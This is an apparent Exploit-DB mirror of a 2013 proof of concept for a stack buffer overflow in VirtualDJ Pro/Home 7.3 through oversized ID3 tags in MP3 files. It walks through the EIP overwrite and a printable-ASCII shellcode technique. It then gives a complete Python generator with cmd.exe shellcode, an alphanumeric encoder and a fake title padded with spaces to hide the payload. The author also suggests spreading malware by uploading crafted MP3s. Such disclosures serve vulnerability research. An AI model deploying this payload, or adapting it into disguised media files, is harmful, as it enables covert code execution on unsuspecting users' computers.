VirtualDJ Pro/Home 7.3 – Local Buffer Overflow

  • 作者: Alexandro Sánchez Bach
    日期: 2013-04-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/24910/
  • # Exploit Title: VirtualDJ Pro/Home <=7.3 Buffer Overflow Vulnerability
    # Date: 23.03.2013
    # Exploit Author: Alexandro Sánchez Bach (functionmixer.blogspot.com)
    # Vendor Homepage: http://www.virtualdj.com/
    # Software Link: http://www.filehippo.com/en/download_virtualdj/14361/
    # Version: VirtualDJ Pro/Home 7.3
    # Tested on: Windows XP SP3
    
    
    # Demo: http://www.youtube.com/watch?v=PJeaWqMJRm0
    # Description:
    
    When the user enters a folder, VirtualDJ tries to retrieve all information
    from the ID3 tags of MP3 files inside such as �Title�, �Album�, and
    �Artist� and stores it in a buffer. After that, a second buffer of length *4096
    *is allocated in the stack and only the characters A-Z from the first
    buffer will be copied to it. According to the ID3 v2.x standard, these tags
    can have length greater than *4096*; therefore it is possible to produce a
    buffer overflow in this second buffer. At the time when the buffer overflow
    happens and the program reaches the RETN instruction, the EDI register
    points to the first buffer.
    
    
    We cannot assign the EIP the address of the first buffer directly since it
    contains characters which are not in range A-Z. However if we take into
    account the previous information, we can do this indirectly: We can set the
    bytes of the title 4100:4104 = "FSFD". After the buffer overflows occurs we
    get EIP = "FSFD" = 0x44465346. At this address (inside urlmon.dll) we find
    a "CALL EDI" instruction and so the bytes in the first buffer will be
    executed. Now we face another problem. VirtualDJ has inserted a "C3" byte
    (RETN) before each non-printable ASCII character in the first buffer and we
    cannot execute the shellcode directly. We can solve this by pushing into
    the stack the bytes of the shellcode using only printable ASCII characters.
    Let me explain:
    
    
    Instead of pushing the bytes 0xB8, 0xFF, 0xEF, 0xFF (68FFEFFFB8) directly,
    we can do exactly the same using only printable ASCII characters
    (�%@@@@%????-R@D@-R@D@-R@D@-R?C?P�):
    
    AND EAX, 40404040 //2540404040 == �%@@@@�
    AND EAX, 3F3F3F3F //253F3F3F3F == �%????� <-- EAX = 0
    SUB EAX, 40444052 //2D40444052 == �-R@D@�
    SUB EAX, 40444052 //2D40444052 == �-R@D@�
    SUB EAX, 40444052 //2D40444052 == �-R@D@�
    SUB EAX, 3F433F52 //2D3F433F52 == �-R?C?� <-- EAX = FFEFFFB8
    PUSH EAX // 50 == �P�
    
    Once all the bytes of the shellcode are pushed into the stack (in inverse
    order) we use PUSH ESP (0x54 == "T") and RETN (0xC3) to run the shellcode.
    This time, it doesn't matter if VirtualDJ pushes another 0xC3 byte before
    this one.
    
    
    I think this is a pretty serious vulnerability since VirtualDJ is
    considered the #1 software for mixing music with millions of downloads
    around the world. By exploiting this vulnerability it would be possible to
    spread quickly a malware just by uploading a malicious MP3 file in a
    popular site. Even worse, I guess this file wouldn't be detected by any
    antivirus. It should be also possible to "hide" the bytes of the exploit
    behind the real title of the MP3 file and a lot of spaces.
    
    #Exploit: VirtualDJ Pro/Home <=7.4 Buffer Overflow Vulnerability
    #By: Alexandro Sanchez Bach | functionmixer.blogspot.com
    #More info: http://www.youtube.com/watch?v=Yini294AR2Q
    
    def encodeData(decoder, data, validValues):
    assert data.find("\0") == -1, "Shellcode must be NULL free"
    data += "\0" #End of shellcode
    encData = decoder[-2:]
    decoder = decoder[:-2]
    for p in range(len(data)):
    dByte = ord(data[p])
    pxByte = ord(encData[p+1])
    bx, by = encoder(dByte ^ pxByte, validValues)
    encData += chr(bx) + chr(by)
    return decoder + encData
    
    def encoder(value, validValues): 
    for bx in validValues:
    imul = (bx * 0x30) & 0xFF
    for by in validValues:
    if imul ^ by == value: return [bx, by]
    
    
    #Shellcode (e.g. run cmd.exe)
    shellcode= "\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC"
    shellcode += "\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45"
    shellcode += "\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45"
    shellcode += "\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45"
    shellcode += "\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3"
    retAddress = "\xED\x1E\x94\x7C" # jmp ESP ntdll.dll WinXP SP2
    shellcode += retAddress
    
    
    #Arguments
    fakeTitle= "Greatest Hits of the Internet - Nyan Cat"
    
    while fakeTitle[0]== " ": fakeTitle = fakeTitle[1:]
    while fakeTitle[-1] == " ": fakeTitle = fakeTitle[:-1]
    for i in fakeTitle:
    if i not in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz -":
    raise "Invalid characters in the fake title"
    fakeTitle2 = fakeTitle.replace("-"," ")
    while "" in fakeTitle2: fakeTitle2 = fakeTitle2.replace(""," ")
    
    
    #Exploit
    exploit =fakeTitle+" "*1024+"1"*(1026-len(fakeTitle2)-1)
    exploit += "dLMD" #RETN address
    exploit += "XXAI" #ESP := Baseaddr of encoded payload
    exploit += encodeData("TYhffffk4diFkDql02Dqm0D1CuEE", #Baseaddr of encoded payload := ESP
    shellcode,
    map(ord, list("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"))
    )
    print exploit
    #Paste the generated code in the tag 'Title' of the MP3 file.